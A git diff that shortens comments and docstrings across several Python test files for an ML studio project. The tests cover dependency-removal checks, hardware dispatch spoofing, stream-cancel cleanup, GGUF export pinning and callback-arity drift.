@@ -696,8 +688,7 @@ CLASSIFY_CASES: list[ClassifyCase] = [
         '<script src="/node_modules/foo/dist/index.js"></script>',
         "html_script",
     ),
-    # CSS url() unquoted variant -- valid CSS, must classify the same
-    # as the quoted variant.
+    # CSS url() unquoted variant must classify the same as the quoted one.
     ClassifyCase(
         "U44",
         "CSS url() unquoted bare package path",
@@ -735,9 +726,8 @@ def run_classify_unit_tests() -> int:
     return 0 if passed == len(CLASSIFY_CASES) else 1
 
 
-# Adversarial end-to-end cases: drop a sneaky synthetic file into src/, run the
-# checker, then clean up. Catches detection regressions in the full
-# grep+classify pipeline (not just classify in isolation).
+# Adversarial end-to-end cases: drop a synthetic file into src/, run the
+# checker, clean up. Catches regressions in the full grep+classify pipeline.
 
 ADVERSARIAL_TMP_DIR = REPO / "studio/frontend/src/__dep_check_adversarial__"
 
@@ -794,9 +784,7 @@ ADV_CASES: list[AdvCase] = [
         "A05",
         "package with similar prefix should NOT trigger FAIL",
         "adv05.ts",
-        # The file imports __adv_only_pkg_e_extra__, but we will try
-        # to "remove" the shorter __adv_only_pkg_e__ name. The shorter
-        # name has zero real usage, so removal must be safe.
+        # Imports the *_extra* name; removing the shorter name is safe (zero usage).
         'import x from "__adv_only_pkg_e_extra__";\n',
         "__adv_only_pkg_e__",
         "PASS",
@@ -867,12 +855,8 @@ ADV_CASES: list[AdvCase] = [
         "FAIL",
         ["__adv_only_pkg_l__"],
     ),
-    # Prettier formats a long named-import list one identifier per line.
-    # 22 imports + braces puts the `import` keyword ~22 lines away from
-    # the `from "pkg"` clause. Before the window widening, the classify
-    # multi-line fallback used ±4 lines, which silently missed every
-    # such block. This case fails with the old window and passes once
-    # the window is wide enough (currently ±25).
+    # Prettier puts `import` ~22 lines from the `from "pkg"` clause; the old
+    # ±4-line classify fallback missed it. Exercises the widened (±25) window.
     AdvCase(
         "A13",
         "Prettier-style 22-identifier multi-line import should FAIL "
@@ -888,9 +872,8 @@ ADV_CASES: list[AdvCase] = [
 ]
 
 
-# package.json field-reference cases: simulate `prettier: "@x/config"`,
-# `eslintConfig.extends`, `overrides`, `peerDependenciesMeta`, etc., testing
-# package_json_extra_refs() coverage across common tool manifests.
+# package.json field-reference cases: simulate prettier/eslintConfig/overrides/
+# peerDependenciesMeta etc., testing package_json_extra_refs() coverage.
 
 
 @dataclass
@@ -1069,9 +1052,8 @@ def run_pkg_field_cases() -> int:
         # Apply the field patch (deep-merge isn't needed; we control the keys).
         for k, v in pc.field_patch.items():
             synth_head[k] = v
-        # Base has the target in dependencies; head does not. The extra field
-        # in synth_head references the target pkg even though it's no longer
-        # in deps.
+        # Base declares the target; head drops it from deps but references it
+        # via the extra field.
         synth_base = json.loads(json.dumps(head_pkg))
         synth_base.setdefault("dependencies", {})[pc.target_pkg] = "^1.0.0"
         with tempfile.NamedTemporaryFile("w", suffix = ".json", delete = False) as f:
@@ -1108,8 +1090,7 @@ def run_pkg_field_cases() -> int:
                 continue
             if in_summary and line.strip().startswith("- "):
                 fails.append(line.strip()[2:])
-        # The expected_failures includes the tolerated-FP case (P15); we
-        # accept BOTH expected_status and expected_failures matches.
+        # Both status and failure set must match.
         ok = actual_status == pc.expected_status and set(fails) == set(pc.expected_failures)
         mark = "PASS" if ok else "FAIL"
         print(f"  [{mark}] {pc.id}: {pc.desc}")
@@ -1134,9 +1115,8 @@ def run_adversarial_cases() -> int:
         fpath = ADVERSARIAL_TMP_DIR / ac.filename
         try:
             fpath.write_text(ac.content)
-            # Build a synthetic base that has the target pkg added; head
-            # is the real head (without it). The script sees the pkg as
-            # removed and scans the repo, which now includes our file.
+            # Base adds the target pkg; real head lacks it, so the script
+            # treats it as removed and scans the repo (now with our file).
             synth_base = json.loads(json.dumps(head_pkg))
             synth_base.setdefault("dependencies", {})[ac.target_pkg] = "^1.0.0"
             with tempfile.NamedTemporaryFile("w", suffix = ".json", delete = False) as f:
@@ -1370,9 +1350,9 @@ def run_enum_cases() -> int:
     return 0 if passed == len(ENUM_CASES) else 1
 
 
-# Script-wrapper cases: exercise scripts_bin_refs / _next_real_bin so a script
-# like `cross-env CI=1 biome check` credits `@biomejs/biome`, not the wrapper.
-# The original "first non-env token" heuristic missed cross-env / dotenv / etc.
+# Script-wrapper cases: scripts_bin_refs / _next_real_bin must credit the real
+# bin (`biome` -> @biomejs/biome), not the wrapper. The old "first non-env
+# token" heuristic missed cross-env / dotenv / etc.
 
 
 @dataclass
@@ -1469,10 +1449,8 @@ def run_wrapper_cases() -> int:
         if ok:
             passed += 1
 
-    # End-to-end integration: feed scripts_bin_refs a synthetic head_pkg
-    # whose scripts use a wrapper, and confirm the package owning the
-    # wrapped bin is credited (rather than the wrapper). This is the
-    # actual call path used by find_command_usage().
+    # End-to-end: feed scripts_bin_refs a head_pkg whose scripts use a wrapper
+    # and confirm the wrapped bin's owner is credited (the find_command_usage path).
     int_total = 0
     int_passed = 0
     int_cases = [
diff --git a/tests/studio/test_hardware_dispatch_matrix.py b/tests/studio/test_hardware_dispatch_matrix.py
index edb8a66b93..62a0fe0447 100644
--- a/tests/studio/test_hardware_dispatch_matrix.py
+++ b/tests/studio/test_hardware_dispatch_matrix.py
@@ -1,12 +1,5 @@
 # SPDX-License-Identifier: AGPL-3.0-only
-"""Hardware dispatch matrix for Studio.
-
-Spoofs platform / torch.cuda / torch.xpu / sys.modules['mlx'] to exercise the
-CUDA, ROCm, XPU, MLX, and CPU dispatch paths deterministically without real
-hardware. Each profile in ``PROFILES`` (CUDA, ROCm, XPU, Apple+/-mlx, the
-linux-arm64-with-mlx canary, CPU) asserts three contracts: ``unsloth._IS_MLX``,
-``detect_hardware()`` DeviceType + ``IS_ROCM``, and ``is_apple_silicon()``.
-Add a row to ``PROFILES`` to extend coverage; tests parametrize over it."""
+"""Studio hardware dispatch matrix: spoofs platform/torch/mlx per PROFILES to exercise CUDA/ROCm/XPU/MLX/CPU paths without real hardware."""
 
 from __future__ import annotations
 
@@ -26,11 +19,6 @@ REPO_ROOT = Path(__file__).resolve().parents[2]
 STUDIO_BACKEND = REPO_ROOT / "studio" / "backend"
 
 
-# ---------------------------------------------------------------------------
-# Profile definition
-# ---------------------------------------------------------------------------
-
-
 @dataclass
 class HardwareProfile:
     name: str
@@ -158,15 +146,9 @@ PROFILES = [
 PROFILE_IDS = [p.name for p in PROFILES]
 
 
-# ---------------------------------------------------------------------------
-# Spoofing helpers
-# ---------------------------------------------------------------------------
-
-
 @pytest.fixture
 def spoof_hardware(monkeypatch):
-    """Return a function that applies a HardwareProfile to the live process.
-    Idempotent; monkeypatch cleans up on test exit."""
+    """Return a function that applies a HardwareProfile to the live process; monkeypatch cleans up on exit."""
 
     def _apply(profile: HardwareProfile) -> None:
         import platform
@@ -177,8 +159,7 @@ def spoof_hardware(monkeypatch):
         monkeypatch.setattr(platform, "machine", lambda: profile.machine)
 
         monkeypatch.setattr(torch.cuda, "is_available", lambda: profile.cuda_available)
-        # Stub get_device_properties: detect_hardware reads .name when CUDA is
-        # available, which crashes on a CPU CI runner ("No CUDA GPUs").
+        # Stub get_device_properties: detect_hardware reads .name, which crashes on a CPU CI runner.
         if profile.cuda_available:
             stub_props = types.SimpleNamespace(
                 name = "Stub GPU" if not profile.hip_version else "Stub AMD GPU",
@@ -194,8 +175,7 @@ def spoof_hardware(monkeypatch):
         torch_version = torch.version
         monkeypatch.setattr(torch_version, "hip", profile.hip_version, raising = False)
 
-        # Stub torch.xpu.* (detect_hardware reads both); real get_device_name
-        # needs the XPU torch build, so always stub to stay hardware-agnostic.
+        # Stub torch.xpu.* always; real get_device_name needs the XPU torch build.
         if hasattr(torch, "xpu"):
             monkeypatch.setattr(torch.xpu, "is_available", lambda: profile.xpu_available)
             monkeypatch.setattr(
@@ -225,8 +205,7 @@ def spoof_hardware(monkeypatch):
             monkeypatch.setitem(sys.modules, "mlx", fake_mlx)
             monkeypatch.setitem(sys.modules, "mlx.core", fake_mlx_core)
         else:
-            # Drop cached mlx and patch find_spec so the unsloth gate sees
-            # mlx as absent.
+            # Drop cached mlx and patch find_spec so the unsloth gate sees mlx as absent.
             monkeypatch.delitem(sys.modules, "mlx", raising = False)
             monkeypatch.delitem(sys.modules, "mlx.core", raising = False)
             real_find_spec = importlib.util.find_spec
@@ -238,9 +217,8 @@ def spoof_hardware(monkeypatch):
 
             monkeypatch.setattr(importlib.util, "find_spec", _no_mlx)
 
-            # Studio's _has_mlx() does `import mlx.core`, not find_spec, so on a
-            # real Apple Silicon host with mlx installed it would still succeed.
-            # Block it via a meta_path finder that raises ImportError for mlx.*.
+            # Studio's _has_mlx() does `import mlx.core`, not find_spec; block it
+            # with a meta_path finder that raises ImportError for mlx.*.
             class _BlockMLXFinder:
                 def find_spec(
                     self_inner,
@@ -255,8 +233,7 @@ def spoof_hardware(monkeypatch):
                     return None
 
             blocker = _BlockMLXFinder()
-            # New list so monkeypatch fully restores on teardown (mutating in
-            # place would survive the test).
+            # New list so monkeypatch fully restores on teardown.
             monkeypatch.setattr(
                 sys,
                 "meta_path",
@@ -282,7 +259,7 @@ def _import_studio_hardware_module():
     """Lazy-load Studio's hardware module under the bare-imports layout."""
     if str(STUDIO_BACKEND) not in sys.path:
         sys.path.insert(0, str(STUDIO_BACKEND))
-    # Force a fresh import so detect_hardware re-runs under the current spoofs.
+    # Fresh import so detect_hardware re-runs under the current spoofs.
     sys.modules.pop("utils.hardware.hardware", None)
     sys.modules.pop("utils.hardware", None)
     from utils.hardware import hardware as hw  # type: ignore
@@ -290,11 +267,6 @@ def _import_studio_hardware_module():
     return hw
 
 
-# ---------------------------------------------------------------------------
-# Tests
-# ---------------------------------------------------------------------------
-
-
 @pytest.mark.parametrize("profile", PROFILES, ids = PROFILE_IDS)
 def test_unsloth_is_mlx_gate_matches_profile(profile, spoof_hardware):
     """The _IS_MLX expression in unsloth/__init__.py flips correctly per profile."""
@@ -333,14 +305,11 @@ def test_studio_is_apple_silicon_matches_profile(profile, spoof_hardware):
     )
 
 
-# ---------------------------------------------------------------------------
 # Negative-space tests: catch regressions where the dispatch order changes.
-# ---------------------------------------------------------------------------
 
 
 def test_cuda_takes_priority_over_mlx_when_both_available(spoof_hardware):
-    """If both CUDA and MLX are available, Studio MUST pick CUDA: the canary
-    guarding GPU users from being silently routed to MLX after refactors."""
+    """CUDA wins over MLX when both available: canary against GPU users being routed to MLX after refactors."""
     profile = HardwareProfile(
         name = "cuda_plus_mlx",
         system = "Darwin",
diff --git a/tests/studio/test_is_mlx_dispatch_gate.py b/tests/studio/test_is_mlx_dispatch_gate.py
index 594ab39076..85a6e42449 100644
--- a/tests/studio/test_is_mlx_dispatch_gate.py
+++ b/tests/studio/test_is_mlx_dispatch_gate.py
@@ -1,34 +1,14 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 
-"""
-Regression tests for the CUDA-vs-MLX dispatch gates Studio relies on.
+"""Regression tests for the CUDA-vs-MLX dispatch gates Studio relies on.
 
-Two gates drive every dispatch decision in Studio's MLX path:
-
-  1. ``unsloth._IS_MLX`` at the top of ``unsloth/__init__.py`` -- evaluated
-     once at import time and read by Studio worker code to choose between
-     the GPU and MLX trainer / inference / export paths. It delegates to
-     the shared zoo MLX runtime gate, with a local import barrier while the
-     paired unsloth-zoo runtime rollout is in flight.
-
-  2. ``utils.hardware.detect_hardware()`` -- runtime probe in the Studio
-     backend. Priority order: CUDA -> XPU -> MLX -> CPU. The MLX branch is
-     reached only when both CUDA and XPU are unavailable AND the host is
-     Apple Silicon AND mlx is importable.
-
-These gates are the canaries for "MLX support accidentally hijacks
-CUDA/AMD/Intel users". The tests here:
-
-  * verify the source-level structure of the ``_IS_MLX`` helper so an
-    accidental rewrite importing zoo before the local MLX precheck is caught,
-  * exercise the runtime gate logic under a spoofed Darwin+arm64 platform
-    with a fake ``mlx`` module in ``sys.modules`` to confirm both gates
-    flip True together,
-  * confirm that on the actual Linux+CUDA test host both gates remain in
-    their CUDA-side state.
-
-No real MLX install is required; uses the same ``monkeypatch.setitem``
-fake-mlx pattern as ``test_mlx_inference_backend.py``.
+Two gates: (1) ``unsloth._IS_MLX`` (import-time, delegates to the zoo MLX
+runtime gate behind a local precheck barrier); (2)
+``utils.hardware.detect_hardware()`` (runtime, CUDA->XPU->MLX->CPU). These
+are the canaries against "MLX support accidentally hijacks CUDA/AMD/Intel
+users": we check the _IS_MLX helper structure, flip both gates True under a
+spoofed Darwin+arm64 with a fake mlx module, and confirm both stay CUDA-side
+on the real host. No real MLX install needed.
 """
 
 import ast
@@ -46,7 +26,7 @@ UNSLOTH_INIT = REPO_ROOT / "unsloth" / "__init__.py"
 
 
 def test_is_mlx_gate_uses_three_required_predicates():
-    """_IS_MLX must AND the three checks Studio depends on (Darwin, arm64, importable mlx); dropping any breaks dispatch."""
+    """_IS_MLX must AND Darwin+arm64+importable-mlx; dropping any breaks dispatch."""
     tree = ast.parse(UNSLOTH_INIT.read_text())
 
     target = None
@@ -90,13 +70,13 @@ def test_is_mlx_gate_uses_three_required_predicates():
     ), "_IS_MLX helper must run the local MLX precheck before importing zoo"
 
 
-# 2. Runtime gate behavior with the platform spoofed to Apple Silicon and a
-#    fake mlx module in sys.modules. Re-evaluates the same expression rather
-#    than reloading unsloth (which would cascade-reload torch).
+# 2. Runtime gate behavior with platform spoofed to Apple Silicon + fake mlx.
+#    Re-evaluates the expression rather than reloading unsloth (avoids a torch
+#    cascade-reload).
 
 
 def _evaluate_is_mlx_precheck(platform_module, importlib_util, os_module):
-    """Re-evaluate the local _is_mlx_available precheck (the import barrier before zoo) with injected deps."""
+    """Re-evaluate the local _is_mlx_available precheck with injected deps."""
     return (
         os_module.environ.get("UNSLOTH_FORCE_GPU_PATH", "0") != "1"
         and platform_module.system() == "Darwin"
@@ -109,7 +89,7 @@ def test_is_mlx_gate_true_on_apple_silicon_with_mlx_present(monkeypatch):
     import platform
     import importlib.util
 
-    # Inject a fake mlx package so find_spec returns a non-None ModuleSpec.
+    # Fake mlx so find_spec returns a non-None ModuleSpec.
     fake_mlx = types.ModuleType("mlx")
     fake_mlx.__spec__ = importlib.machinery.ModuleSpec("mlx", loader = None)
     fake_mlx.__path__ = []
@@ -127,7 +107,7 @@ def test_is_mlx_gate_false_when_mlx_missing(monkeypatch):
     import platform
     import importlib.util
 
-    # Apple Silicon platform but no mlx package -> gate must be False.
+    # Apple Silicon but no mlx -> gate must be False.
     monkeypatch.delitem(sys.modules, "mlx", raising = False)
     monkeypatch.setattr(platform, "system", lambda: "Darwin")
     monkeypatch.setattr(platform, "machine", lambda: "arm64")
@@ -152,7 +132,6 @@ def test_is_mlx_gate_false_on_non_apple_silicon():
     import importlib.util
 
     if platform.system() == "Darwin" and platform.machine() == "arm64":
-        # On a Mac CI runner this assertion would not apply; skip there.
         import pytest
         pytest.skip("Test host is Apple Silicon; CUDA-side canary doesn't apply.")
 
@@ -162,15 +141,13 @@ def test_is_mlx_gate_false_on_non_apple_silicon():
 
 
 # ---------------------------------------------------------------------------
-# 3. Studio's runtime detect_hardware() picks MLX only when CUDA + XPU are
-#    both unavailable AND the host is Apple Silicon AND mlx is importable.
+# 3. detect_hardware() picks MLX only when CUDA+XPU are both unavailable AND
+#    the host is Apple Silicon AND mlx is importable.
 # ---------------------------------------------------------------------------
 
 
 def _import_studio_hardware():
-    """Lazy import for the Studio hardware module, with the bare-imports
-    convention that Studio uses (studio/backend on sys.path).
-    """
+    """Lazy import of the Studio hardware module (studio/backend on sys.path)."""
     studio_backend = REPO_ROOT / "studio" / "backend"
     if str(studio_backend) not in sys.path:
         sys.path.insert(0, str(studio_backend))
@@ -182,14 +159,14 @@ def _import_studio_hardware():
 def test_detect_hardware_picks_mlx_when_only_apple_silicon_available(monkeypatch):
     hw = _import_studio_hardware()
 
-    # Force CUDA + XPU paths off so detect_hardware falls through to MLX.
+    # Force CUDA + XPU off so detect_hardware falls through to MLX.
     import torch
 
     monkeypatch.setattr(torch.cuda, "is_available", lambda: False)
     if hasattr(torch, "xpu"):
         monkeypatch.setattr(torch.xpu, "is_available", lambda: False)
 
-    # Spoof Apple Silicon and provide an importable mlx.core for _has_mlx().
+    # Spoof Apple Silicon + importable mlx.core for _has_mlx().
     import platform
 
     monkeypatch.setattr(platform, "system", lambda: "Darwin")
@@ -206,10 +183,7 @@ def test_detect_hardware_picks_mlx_when_only_apple_silicon_available(monkeypatch
 
 
 def test_detect_hardware_picks_cuda_on_real_host():
-    """Canary: on a real CUDA host the MLX branch must NOT be taken even
-    if mlx happens to be importable. Protects CUDA/AMD/Intel users from
-    accidental MLX dispatch when MLX support is added.
-    """
+    """Canary: a real CUDA host must dispatch to CUDA even if mlx is importable."""
     import torch
 
     if not torch.cuda.is_available():
diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 3fd91a5188..8d12fd528e 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -1,20 +1,10 @@
-"""Tests that the cancel tracker is registered BEFORE StreamingResponse is
-returned and that cleanup runs in a `finally` inside each async generator.
+"""Cancel tracker must register BEFORE StreamingResponse returns and clean up
+in each async generator's `finally`, else a Stop before the first SSE chunk
+leaves a zombie decode (a BackgroundTask would be skipped when stream_response raises).
 
-Zombie scenario: Stop during prefill/warmup/proxy buffering (before the first
-SSE chunk). If _tracker.__enter__ ran inside the generator body, the registry
-would be empty when /api/inference/cancel lands, so cancel returns 0 and decode
-runs to completion. The fix registers in the sync body of
-openai_chat_completions and cleans up in each generator's `finally` -- a
-BackgroundTask would be skipped when stream_response raises.
-
-Structural verifies: no `_tracker.__enter__()` inside the async generators;
-each of the four generators has `_tracker.__exit__(...)` in a try/finally; no
-StreamingResponse passes `background=`. Behavioral verifies (running the
-extracted `_TrackedCancel`): finally cleanup on normal completion, mid-stream
-OSError, and aclose() from ClientDisconnect; and a pre-set cancel_event lets
-the GGUF loop break cleanly emitting final_chunk + [DONE].
-"""
+Structural verifies registration placement and try/finally cleanup; behavioral
+verifies the extracted `_TrackedCancel` cleans up across completion/OSError/aclose
+and that a pre-set cancel_event breaks the GGUF loop cleanly with final_chunk + [DONE]."""
 
 from __future__ import annotations
 
@@ -262,8 +252,8 @@ async def _consume(agen):
 
 
 def _llama_stub_raises_on_preset_cancel(cancel_event):
-    # Reproduces llama_cpp.py _stream_with_retry:2240 `raise GeneratorExit`
-    # when cancel_event is already set at entry.
+    # Reproduces llama_cpp.py _stream_with_retry `raise GeneratorExit` when
+    # cancel_event is already set at entry.
     if cancel_event.is_set():
         raise GeneratorExit
     yield "cumulative-1"
@@ -302,9 +292,8 @@ def test_finally_cleanup_on_normal_completion():
 
 
 def test_finally_cleanup_on_mid_stream_exception():
-    # Simulates OSError / BrokenPipeError from Starlette send() mid-stream --
-    # the exact case where pre-fix `background = BackgroundTask(...)` was
-    # skipped and leaked the registry entry.
+    # OSError mid-stream: the exact case where pre-fix `background=BackgroundTask(...)`
+    # was skipped and leaked the registry entry.
     m = _load_registry_module()
     m["_CANCEL_REGISTRY"].clear()
     ev = threading.Event()
@@ -317,8 +306,7 @@ def test_finally_cleanup_on_mid_stream_exception():
 
 
 def test_finally_cleanup_on_aclose():
-    # Starlette calls aclose() on the async generator when the client
-    # disconnects mid-stream. The generator's finally block must run.
+    # Starlette calls aclose() on client disconnect; the finally block must run.
     m = _load_registry_module()
     m["_CANCEL_REGISTRY"].clear()
     ev = threading.Event()
@@ -338,9 +326,8 @@ def test_finally_cleanup_on_aclose():
 
 
 def test_preset_cancel_event_exits_cleanly_with_done():
-    # Pending-replay: a stashed cancel set cancel_event via __enter__. The
-    # generator must break cleanly and emit final_chunk + [DONE] rather than
-    # calling next(gen) and propagating GeneratorExit out of the GGUF wrapper.
+    # Pending-replay: a stashed cancel pre-set cancel_event. The loop must break
+    # cleanly with final_chunk + [DONE], not propagate GeneratorExit from the GGUF wrapper.
     ev = threading.Event()
     ev.set()
     chunks = asyncio.run(_consume(_post_fix_gguf_loop(ev)))
@@ -353,16 +340,14 @@ def test_preset_cancel_event_exits_cleanly_with_done():
 
 
 def test_normal_path_streams_all_tokens():
-    # Regression: the top-of-loop cancel_event check must not short-circuit
-    # when cancel_event is unset.
+    # Regression: the top-of-loop cancel_event check must not short-circuit when unset.
     ev = threading.Event()
     chunks = asyncio.run(_consume(_post_fix_gguf_loop(ev)))
     assert chunks == ["first_chunk", "cumulative-1", "cumulative-2", "final_chunk", "[DONE]"]
 
 
 def test_cancel_during_streaming_stops_iteration_promptly():
-    # Setting cancel_event between yields breaks out on the next iteration
-    # rather than draining the stub generator.
+    # Setting cancel_event between yields breaks on the next iteration, not draining the generator.
     ev = threading.Event()
 
     async def _run():
@@ -386,10 +371,8 @@ def test_cancel_during_streaming_stops_iteration_promptly():
 
 
 def _loop_has_cancel_event_check(fn) -> bool:
-    # An `if cancel_event.is_set():` statement anywhere inside a
-    # `while`/`for` loop body is sufficient -- without it, a cancel POST
-    # cannot interrupt the loop because Colab-style proxies do not
-    # propagate request.is_disconnected().
+    # An `if cancel_event.is_set():` inside a loop body is sufficient -- without it
+    # a cancel POST can't interrupt, since Colab-style proxies drop request.is_disconnected().
     for sub in ast.walk(fn):
         if not isinstance(sub, (ast.While, ast.For, ast.AsyncFor)):
             continue
@@ -430,10 +413,8 @@ def test_streaming_generators_check_cancel_event_in_loop():
 
 
 def test_audio_input_stream_offloads_blocking_next_to_thread():
-    # Guards against regression back to `for chunk_text in
-    # audio_input_generate():` -- which blocks the event loop on each
-    # whisper chunk and prevents POST /api/inference/cancel from being
-    # serviced until the chunk yields.
+    # Guards against regressing to `for chunk_text in audio_input_generate():`, which
+    # blocks the event loop per whisper chunk and stalls POST /api/inference/cancel.
     audio = None
     for fn in ast.walk(_TREE):
         if isinstance(fn, ast.AsyncFunctionDef) and fn.name == "audio_input_stream":
@@ -473,9 +454,8 @@ def test_audio_input_stream_offloads_blocking_next_to_thread():
 
 
 def test_stream_chunks_cancel_branch_resets_backend_state():
-    # The Unsloth cancel branch must call backend.reset_generation_state() to
-    # flush GPU/KV-cache state, else a cancel-via-POST leaves the subprocess
-    # dirty for the next request.
+    # The cancel branch must call backend.reset_generation_state() to flush
+    # GPU/KV-cache state, else cancel-via-POST leaves the subprocess dirty.
     fn = None
     top = None
     for n in ast.walk(_TREE):
@@ -563,9 +543,8 @@ def test_unsloth_stream_loop_breaks_on_external_cancel_event():
 
 
 def test_audio_stream_stays_responsive_under_blocking_next():
-    # Regression guard: replace the post-fix loop with the pre-fix
-    # `for chunk in audio_input_generate()` pattern and assert it blocks
-    # the event loop; then confirm the post-fix pattern exits promptly.
+    # Assert the pre-fix `for chunk in audio_input_generate()` pattern blocks the
+    # event loop, then confirm the post-fix pattern exits promptly.
     cancel_event = threading.Event()
 
     def _audio_gen():
@@ -624,9 +603,8 @@ def test_audio_stream_stays_responsive_under_blocking_next():
 
 
 def test_unsloth_stream_loop_emits_zero_tokens_on_preset_cancel():
-    # Pending-cancel replay: cancel_event was pre-set before iterating, so the
-    # top-of-loop check must short-circuit iteration 1 (zero tokens). Catches a
-    # regression that moves the check below next() (leaks one extra token).
+    # Pending-cancel replay: cancel_event pre-set, so the top-of-loop check must
+    # short-circuit iteration 1 (zero tokens). Catches moving the check below next().
     cancel_event = threading.Event()
     cancel_event.set()
     reset_calls = [0]
@@ -674,9 +652,8 @@ def test_unsloth_stream_loop_emits_zero_tokens_on_preset_cancel():
 
 
 def test_audio_stream_emits_zero_chunks_on_preset_cancel():
-    # Symmetric to the Unsloth pre-set test: the audio loop's top-of-loop
-    # cancel check must skip the asyncio.to_thread(next, ...) call when
-    # cancel_event was already set via pending-replay.
+    # Symmetric to the Unsloth pre-set test: the audio loop must skip
+    # asyncio.to_thread(next, ...) when cancel_event was pre-set via pending-replay.
     cancel_event = threading.Event()
     cancel_event.set()
 
diff --git a/tests/studio/test_studio_gguf_export_script_pin.py b/tests/studio/test_studio_gguf_export_script_pin.py
index b97ecd4367..1f7e7adaa4 100644
--- a/tests/studio/test_studio_gguf_export_script_pin.py
+++ b/tests/studio/test_studio_gguf_export_script_pin.py
@@ -1,17 +1,4 @@
-"""Tests for Studio GGUF export pinning convert_hf_to_gguf.py via
-UNSLOTH_LLAMA_CPP_SCRIPTS_DIR with graceful fallback when unsloth_zoo
-lacks the local-script resolver.
-
-Verifies:
-  - export.py imports LLAMA_CPP_DEFAULT_DIR and _resolve_local_convert_script
-    from unsloth_zoo.llama_cpp inside a single try/except ImportError so a
-    zoo missing either symbol degrades to a warning instead of crashing.
-  - os.environ.setdefault("UNSLOTH_LLAMA_CPP_SCRIPTS_DIR", LLAMA_CPP_DEFAULT_DIR)
-    is called inside the try; setdefault preserves explicit user overrides
-    and assigns the default when unset.
-  - The compatibility warning is gated on a module-level flag so it fires
-    once per process rather than on every export call.
-"""
+"""Studio GGUF export pins convert_hf_to_gguf.py via UNSLOTH_LLAMA_CPP_SCRIPTS_DIR, with a once-per-process warning fallback when unsloth_zoo lacks the local-script resolver."""
 
 from __future__ import annotations
 
diff --git a/tests/studio/test_studio_text_descender_clipping.py b/tests/studio/test_studio_text_descender_clipping.py
index ac26a10f06..7cad6cacfe 100644
--- a/tests/studio/test_studio_text_descender_clipping.py
+++ b/tests/studio/test_studio_text_descender_clipping.py
@@ -1,7 +1,5 @@
-"""
-Regression guard: descender-prone text spans in Studio must not pair
-`leading-none` with `truncate` (overflow: hidden), which clips glyph
-descenders (g, p, q, y, j) in real user-visible labels.
+"""Regression guard: Studio text spans must not pair `leading-none` with
+`truncate`, which clips glyph descenders (g, p, q, y, j) in visible labels.
 """
 
 from __future__ import annotations
@@ -36,8 +34,8 @@ def test_model_selector_trigger_label_uses_leading_tight():
 
 def test_sidebar_account_block_uses_leading_tight():
     src = _read(APP_SIDEBAR)
-    # Match the account-block parent div regardless of its gap utility (gap-0.5,
-    # gap-px, ...); this guard is about the leading-* class, not the spacing.
+    # Match the account-block parent div regardless of its gap utility; this
+    # guard is about the leading-* class, not the spacing.
     pattern = re.compile(
         r'<div\s+className="flex\s+flex-col\s+gap-\S+\s+(\S+)\s+group-data-\[collapsible=icon\]:hidden">',
     )
diff --git a/tests/test_callback_signature_drift.py b/tests/test_callback_signature_drift.py
index 4a29f4f7c7..11d32b321b 100644
--- a/tests/test_callback_signature_drift.py
+++ b/tests/test_callback_signature_drift.py
@@ -1,28 +1,14 @@
 """Static-analysis regression test: callback signature drift.
 
-Catches the class of bug where a producer (e.g. unsloth_zoo's MLXTrainer)
-changes the number of args it passes to a registered callback but consumers
-(unsloth tests / source) still declare the old arity. The producer's
-``try / except Exception`` typically swallows the resulting TypeError, so
-the callback silently never fires and the failure surfaces several seconds
-later as a confusing downstream assertion.
+Catches a producer (e.g. unsloth_zoo's MLXTrainer) changing the arity it passes to a registered
+callback while consumers still declare the old arity; the producer's try/except swallows the
+TypeError so the callback silently never fires. Pure AST so it runs on every CI OS/Python.
 
-The check is pure AST (no imports of MLX modules etc), so it runs on every
-OS / Python version that ships in CI.
-
-Pattern detected:
-  * Producer side: a class with ``self._<name>_callbacks`` list, populated
-    via ``self._<name>_callbacks.append(...)`` from an ``add_<name>_callback``
-    method, and invoked via ``for cb in self._<name>_callbacks: cb(arg1, ...)``.
-    The arity at the call site is the canonical expected arity.
-  * Consumer side: any ``<obj>.add_<name>_callback(fn)`` call where ``fn``
-    resolves to a ``def`` or ``async def`` in the same file. Consumer arity
-    must equal canonical arity (or be variadic).
-
-Consumers handled tolerantly:
-  * ``*args`` / ``**kwargs``: accept any canonical arity.
-  * Methods (``self.fn``) and unresolved Name targets (imported from another
-    file): skipped with a note in the failure message rather than asserted.
+Producer: a class with ``self._<name>_callbacks`` populated by ``add_<name>_callback`` and invoked
+via ``for cb in self._<name>_callbacks: cb(...)`` (the call-site arity is canonical).
+Consumer: ``<obj>.add_<name>_callback(fn)`` where ``fn`` is a def/async def in the same file; its
+arity must equal canonical (or be variadic). ``*args``/``**kwargs`` accept any arity; methods and
+unresolved Name targets are skipped with a note.
 """
 
 from __future__ import annotations
@@ -47,7 +33,7 @@ SKIP_PARTS = {
     "venv",
     ".pytest_cache",
     "__pycache__",
-    # Frontend tree under studio is JS/TS plus a few stub .py files; not worth walking.
+    # studio frontend is JS/TS plus a few stub .py files; skip.
     "frontend",
 }
 
@@ -66,8 +52,7 @@ def _iter_py(root: pathlib.Path):
         yield p
 
 
-# Module-level parse cache so discover_producers + check_registrations only
-# pay the parse cost once per file across the whole test run.
+# Parse cache so each file is parsed once across the run.
 _PARSE_CACHE: dict[pathlib.Path, ast.AST | None] = {}
 
 
@@ -78,8 +63,7 @@ def _safe_parse(path: pathlib.Path):
     try:
         import warnings as _w
         with _w.catch_warnings():
-            # Suppress SyntaxWarning emitted while parsing third-party files
-            # that contain invalid escape sequences in regex / docstrings.
+            # Suppress SyntaxWarning from third-party files with invalid escape sequences.
             _w.simplefilter("ignore", SyntaxWarning)
             tree = ast.parse(path.read_text(encoding = "utf-8"))
     except (SyntaxError, UnicodeDecodeError):
@@ -119,10 +103,7 @@ def _callback_list_attrs_in_class(cls: ast.ClassDef) -> set[str]:
 
 
 def _producer_arities(tree: ast.AST) -> dict[str, int]:
-    """For each ``for cb in self._x_callbacks: cb(...)`` in the AST, return
-    {cb_list_attr: max_arity}. Multiple sites take the max so that variadic
-    branches do not lower the contract.
-    """
+    """Return {cb_list_attr: max_arity} over all ``for cb in self._x_callbacks: cb(...)`` sites."""
     out: dict[str, int] = {}
     for cls in [n for n in ast.walk(tree) if isinstance(n, ast.ClassDef)]:
         cb_lists = _callback_list_attrs_in_class(cls)
@@ -171,11 +152,8 @@ def _func_arity(node: ast.AST) -> tuple[int, bool] | None:
     args = node.args
